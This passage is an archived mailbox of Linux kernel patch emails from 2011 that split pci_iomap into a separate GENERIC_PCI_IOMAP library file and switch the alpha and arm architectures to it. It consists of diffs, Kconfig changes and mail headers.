 config NO_IOPORT
 	bool
 
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index cb9a104..08af645 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -75,6 +75,7 @@ config X86
 	select HAVE_BPF_JIT if (X86_64 && NET)
 	select CLKEVT_I8253
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
+	select GENERIC_IOMAP
 
 config INSTRUCTION_DECODER
 	def_bool (KPROBES || PERF_EVENTS)
@@ -140,9 +141,6 @@ config NEED_SG_DMA_LENGTH
 config GENERIC_ISA_DMA
 	def_bool ISA_DMA_API
 
-config GENERIC_IOMAP
-	def_bool y
-
 config GENERIC_BUG
 	def_bool y
 	depends on BUG
diff --git a/lib/Kconfig b/lib/Kconfig
index 32f3e5a..0058927 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -19,6 +19,9 @@ config RATIONAL
 config GENERIC_FIND_FIRST_BIT
 	bool
 
+config GENERIC_IOMAP
+	bool
+
 config CRC_CCITT
 	tristate "CRC-CCITT functions"
 	help
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 02/10] lib: add GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:17:02 +0200
Lines: 236
Approved: news@gmane.org
Message-ID: <b5a1327dd8bb38f87cba7ae10b308ec3b63de66a.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165820 4855 80.91.229.12 (24 Nov 2011 20:17:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:17:00 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:16:44 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfit-0000wQ-F4
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:16:43 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:47094 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904617Ab1KXUQm (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:16:42 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:16:24 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:47324 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904616Ab1KXUQP (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:16:15 +0100
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKFcB6001765
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:15:38 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id pAOKFNt2010413;
        Thu, 24 Nov 2011 15:15:23 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-archive-position: 31980
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33081 gmane.linux.ports.alpha:1583 gmane.linux.kernel:1220296 gmane.linux.ports.arm.kernel:141509 gmane.linux.ports.hexagon:331 gmane.linux.ports.ia64:21886 gmane.linux.ports.m68k:3020 gmane.linux.uclinux.microblaze:11663 gmane.linux.ports.parisc:4029 gmane.linux.ports.ppc64.devel:78451 gmane.linux.ports.sh.devel:12859 gmane.linux.ports.sparc:15504 gmane.linux.kernel.cross-arch:11547 gmane.linux.kernel.pci:12694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33081>

Many architectures want a generic pci_iomap but
not the rest of iomap.c. Split that to a separate .c
file and add a new config symbol. select automatically
by GENERIC_IOMAP.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 include/asm-generic/io.h        |    5 +--
 include/asm-generic/iomap.h     |    7 +----
 include/asm-generic/pci_iomap.h |   26 +++++++++++++++++++++
 lib/Kconfig                     |    4 +++
 lib/Makefile                    |    1 +
 lib/iomap.c                     |   38 +-----------------------------
 lib/pci_iomap.c                 |   48 +++++++++++++++++++++++++++++++++++++++
 7 files changed, 85 insertions(+), 44 deletions(-)
 create mode 100644 include/asm-generic/pci_iomap.h
 create mode 100644 lib/pci_iomap.c

diff --git a/include/asm-generic/io.h b/include/asm-generic/io.h
index 9120887..c8a67345 100644
--- a/include/asm-generic/io.h
+++ b/include/asm-generic/io.h
@@ -19,6 +19,8 @@
 #include <asm-generic/iomap.h>
 #endif
 
+#include <asm-generic/pci_iomap.h>
+
 #ifndef mmiowb
 #define mmiowb() do {} while (0)
 #endif
@@ -283,9 +285,6 @@ static inline void writesb(const void __iomem *addr, const void *buf, int len)
 #define __io_virt(x) ((void __force *) (x))
 
 #ifndef CONFIG_GENERIC_IOMAP
-/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
-struct pci_dev;
-extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
 static inline void pci_iounmap(struct pci_dev *dev, void __iomem *p)
 {
 }
diff --git a/include/asm-generic/iomap.h b/include/asm-generic/iomap.h
index 98dcd76..fdcddcb 100644
--- a/include/asm-generic/iomap.h
+++ b/include/asm-generic/iomap.h
@@ -69,16 +69,13 @@ extern void ioport_unmap(void __iomem *);
 #ifdef CONFIG_PCI
 /* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
 struct pci_dev;
-extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
 extern void pci_iounmap(struct pci_dev *dev, void __iomem *);
 #else
 struct pci_dev;
-static inline void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max)
-{
-	return NULL;
-}
 static inline void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 { }
 #endif
 
+#include <asm-generic/pci_iomap.h>
+
 #endif
diff --git a/include/asm-generic/pci_iomap.h b/include/asm-generic/pci_iomap.h
new file mode 100644
index 0000000..e08b3bd
--- /dev/null
+++ b/include/asm-generic/pci_iomap.h
@@ -0,0 +1,26 @@
+/* Generic I/O port emulation, based on MN10300 code
+ *
+ * Copyright (C) 2007 Red Hat, Inc. All Rights Reserved.
+ * Written by David Howells (dhowells@redhat.com)
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public Licence
+ * as published by the Free Software Foundation; either version
+ * 2 of the Licence, or (at your option) any later version.
+ */
+#ifndef __ASM_GENERIC_PCI_IOMAP_H
+#define __ASM_GENERIC_PCI_IOMAP_H
+
+#ifdef CONFIG_PCI
+/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
+struct pci_dev;
+extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
+#else
+struct pci_dev;
+static inline void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max)
+{
+	return NULL;
+}
+#endif
+
+#endif /* __ASM_GENERIC_IO_H */
diff --git a/lib/Kconfig b/lib/Kconfig
index 0058927..36884b4 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -19,8 +19,12 @@ config RATIONAL
 config GENERIC_FIND_FIRST_BIT
 	bool
 
+config GENERIC_PCI_IOMAP
+	bool
+
 config GENERIC_IOMAP
 	bool
+	select GENERIC_PCI_IOMAP
 
 config CRC_CCITT
 	tristate "CRC-CCITT functions"
diff --git a/lib/Makefile b/lib/Makefile
index a4da283..609b2adc 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -33,6 +33,7 @@ endif
 
 lib-$(CONFIG_HOTPLUG) += kobject_uevent.o
 obj-$(CONFIG_GENERIC_IOMAP) += iomap.o
+obj-$(CONFIG_GENERIC_PCI_IOMAP) += pci_iomap.o
 obj-$(CONFIG_HAS_IOMEM) += iomap_copy.o devres.o
 obj-$(CONFIG_CHECK_SIGNATURE) += check_signature.o
 obj-$(CONFIG_DEBUG_LOCKING_API_SELFTESTS) += locking-selftest.o
diff --git a/lib/iomap.c b/lib/iomap.c
index 5dbcb4b..ada922a 100644
--- a/lib/iomap.c
+++ b/lib/iomap.c
@@ -242,45 +242,11 @@ EXPORT_SYMBOL(ioport_unmap);
 #endif /* CONFIG_HAS_IOPORT */
 
 #ifdef CONFIG_PCI
-/**
- * pci_iomap - create a virtual mapping cookie for a PCI BAR
- * @dev: PCI device that owns the BAR
- * @bar: BAR number
- * @maxlen: length of the memory to map
- *
- * Using this function you will get a __iomem address to your device BAR.
- * You can access it using ioread*() and iowrite*(). These functions hide
- * the details if this is a MMIO or PIO address space and will just do what
- * you expect from them in the correct way.
- *
- * @maxlen specifies the maximum length to map. If you want to get access to
- * the complete BAR without checking for its length first, pass %0 here.
- * */
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len || !start)
-		return NULL;
-	if (maxlen && len > maxlen)
-		len = maxlen;
-	if (flags & IORESOURCE_IO)
-		return ioport_map(start, len);
-	if (flags & IORESOURCE_MEM) {
-		if (flags & IORESOURCE_CACHEABLE)
-			return ioremap(start, len);
-		return ioremap_nocache(start, len);
-	}
-	/* What? */
-	return NULL;
-}
-
+/* Hide the details if this is a MMIO or PIO address space and just do what
+ * you expect in the correct way. */
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
 	IO_COND(addr, /* nothing */, iounmap(addr));
 }
-EXPORT_SYMBOL(pci_iomap);
 EXPORT_SYMBOL(pci_iounmap);
 #endif /* CONFIG_PCI */
diff --git a/lib/pci_iomap.c b/lib/pci_iomap.c
new file mode 100644
index 0000000..40b26cb
--- /dev/null
+++ b/lib/pci_iomap.c
@@ -0,0 +1,48 @@
+/*
+ * Implement the default iomap interfaces
+ *
+ * (C) Copyright 2004 Linus Torvalds
+ */
+#include <linux/pci.h>
+#include <linux/io.h>
+
+#include <linux/module.h>
+
+#ifdef CONFIG_PCI
+/**
+ * pci_iomap - create a virtual mapping cookie for a PCI BAR
+ * @dev: PCI device that owns the BAR
+ * @bar: BAR number
+ * @maxlen: length of the memory to map
+ *
+ * Using this function you will get a __iomem address to your device BAR.
+ * You can access it using ioread*() and iowrite*(). These functions hide
+ * the details if this is a MMIO or PIO address space and will just do what
+ * you expect from them in the correct way.
+ *
+ * @maxlen specifies the maximum length to map. If you want to get access to
+ * the complete BAR without checking for its length first, pass %0 here.
+ * */
+void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
+{
+	resource_size_t start = pci_resource_start(dev, bar);
+	resource_size_t len = pci_resource_len(dev, bar);
+	unsigned long flags = pci_resource_flags(dev, bar);
+
+	if (!len || !start)
+		return NULL;
+	if (maxlen && len > maxlen)
+		len = maxlen;
+	if (flags & IORESOURCE_IO)
+		return ioport_map(start, len);
+	if (flags & IORESOURCE_MEM) {
+		if (flags & IORESOURCE_CACHEABLE)
+			return ioremap(start, len);
+		return ioremap_nocache(start, len);
+	}
+	/* What? */
+	return NULL;
+}
+
+EXPORT_SYMBOL(pci_iomap);
+#endif /* CONFIG_PCI */
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 03/10] alpha: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:17:23 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <4245e7d8f484de6512fd4a9e4cba5b90cc111899.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165846 5010 80.91.229.12 (24 Nov 2011 20:17:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:17:26 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:17:10 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfjK-0000wQ-Ie
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:17:10 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:47234 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904616Ab1KXURJ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:17:09 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:16:51 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:12931 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904619Ab1KXUQf (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:16:35 +0100
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKFx2W001789
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:15:59 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pAOKFhbQ005250;
        Thu, 24 Nov 2011 15:15:44 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-archive-position: 31981
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33082 gmane.linux.ports.alpha:1584 gmane.linux.kernel:1220297 gmane.linux.ports.arm.kernel:141510 gmane.linux.ports.hexagon:332 gmane.linux.ports.ia64:21887 gmane.linux.ports.m68k:3021 gmane.linux.uclinux.microblaze:11664 gmane.linux.ports.parisc:4030 gmane.linux.ports.ppc64.devel:78452 gmane.linux.ports.sh.devel:12860 gmane.linux.ports.sparc:15505 gmane.linux.kernel.cross-arch:11548 gmane.linux.kernel.pci:12695
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33082>

alpha copied pci_iomap from generic code to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

The only difference is handling of nocache flag,
that turns out to be done correctly by the
generic code since arch/alpha/include/asm/io.h
defines ioremap_nocache same as ioremap.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/alpha/Kconfig      |    1 +
 arch/alpha/kernel/pci.c |   26 +-------------------------
 2 files changed, 2 insertions(+), 25 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 3636b11..56a4df9 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -315,6 +315,7 @@ config ISA_DMA_API
 config PCI
 	bool
 	depends on !ALPHA_JENSEN
+	select GENERIC_PCI_IOMAP
 	default y
 	help
 	  Find out whether you have a PCI motherboard. PCI is the name of a
diff --git a/arch/alpha/kernel/pci.c b/arch/alpha/kernel/pci.c
index c9ab94e..f3cae27 100644
--- a/arch/alpha/kernel/pci.c
+++ b/arch/alpha/kernel/pci.c
@@ -508,30 +508,7 @@ sys_pciconfig_iobase(long which, unsigned long bus, unsigned long dfn)
 	return -EOPNOTSUPP;
 }
 
-/* Create an __iomem token from a PCI BAR.  Copied from lib/iomap.c with
-   no changes, since we don't want the other things in that object file.  */
-
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len || !start)
-		return NULL;
-	if (maxlen && len > maxlen)
-		len = maxlen;
-	if (flags & IORESOURCE_IO)
-		return ioport_map(start, len);
-	if (flags & IORESOURCE_MEM) {
-		/* Not checking IORESOURCE_CACHEABLE because alpha does
-		   not distinguish between ioremap and ioremap_nocache.  */
-		return ioremap(start, len);
-	}
-	return NULL;
-}
-
-/* Destroy that token.  Not copied from lib/iomap.c.  */
+/* Destroy an __iomem token.  Not copied from lib/iomap.c.  */
 
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
@@ -539,7 +516,6 @@ void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 		iounmap(addr);
 }
 
-EXPORT_SYMBOL(pci_iomap);
 EXPORT_SYMBOL(pci_iounmap);
 
 /* FIXME: Some boxes have multiple ISA bridges! */
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 04/10] arm: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:17:42 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <1415bf8cf7d98d05b7d189e913efb7f9668846ac.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322165876 5152 80.91.229.12 (24 Nov 2011 20:17:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:17:56 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:17:40 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfjo-0000wQ-8n
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:17:40 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:47246 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904619Ab1KXURj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:17:39 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:17:21 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:7405 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904620Ab1KXUQy (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:16:54 +0100
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKGJAg002523
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:16:19 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id pAOKG2MB010523;
        Thu, 24 Nov 2011 15:16:03 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-archive-position: 31982
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33083 gmane.linux.ports.alpha:1585 gmane.linux.kernel:1220298 gmane.linux.ports.arm.kernel:141511 gmane.linux.ports.hexagon:333 gmane.linux.ports.ia64:21888 gmane.linux.ports.m68k:3022 gmane.linux.uclinux.microblaze:11665 gmane.linux.ports.parisc:4031 gmane.linux.ports.ppc64.devel:78453 gmane.linux.ports.sh.devel:12861 gmane.linux.ports.sparc:15506 gmane.linux.kernel.cross-arch:11549 gmane.linux.kernel.pci:12696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33083>

arm copied pci_iomap from generic code, probably to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/arm/Kconfig          |    1 +
 arch/arm/include/asm/io.h |    2 +-
 arch/arm/mm/iomap.c       |   21 ---------------------
 3 files changed, 2 insertions(+), 22 deletions(-)

diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 44789ef..2ebf66b 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -30,6 +30,7 @@ config ARM
 	select HAVE_SPARSE_IRQ
 	select GENERIC_IRQ_SHOW
 	select CPU_PM if (SUSPEND || CPU_IDLE)
+	select GENERIC_PCI_IOMAP
 	help
 	  The ARM series is a line of low-power-consumption RISC chip designs
 	  licensed by ARM Ltd and targeted at embedded applications and
diff --git a/arch/arm/include/asm/io.h b/arch/arm/include/asm/io.h
index 065d100..9275828 100644
--- a/arch/arm/include/asm/io.h
+++ b/arch/arm/include/asm/io.h
@@ -27,6 +27,7 @@
 #include <asm/byteorder.h>
 #include <asm/memory.h>
 #include <asm/system.h>
+#include <asm-generic/pci_iomap.h>
 
 /*
  * ISA I/O bus memory addresses are 1:1 with the physical address.
@@ -306,7 +307,6 @@ extern void ioport_unmap(void __iomem *addr);
 
 struct pci_dev;
 
-extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen);
 extern void pci_iounmap(struct pci_dev *dev, void __iomem *addr);
 
 /*
diff --git a/arch/arm/mm/iomap.c b/arch/arm/mm/iomap.c
index 430df1a..e62956e 100644
--- a/arch/arm/mm/iomap.c
+++ b/arch/arm/mm/iomap.c
@@ -35,27 +35,6 @@ EXPORT_SYMBOL(pcibios_min_mem);
 unsigned int pci_flags = PCI_REASSIGN_ALL_RSRC;
 EXPORT_SYMBOL(pci_flags);
 
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len   = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len || !start)
-		return NULL;
-	if (maxlen && len > maxlen)
-		len = maxlen;
-	if (flags & IORESOURCE_IO)
-		return ioport_map(start, len);
-	if (flags & IORESOURCE_MEM) {
-		if (flags & IORESOURCE_CACHEABLE)
-			return ioremap(start, len);
-		return ioremap_nocache(start, len);
-	}
-	return NULL;
-}
-EXPORT_SYMBOL(pci_iomap);
-
 void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 {
 	if ((unsigned long)addr >= VMALLOC_START &&
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
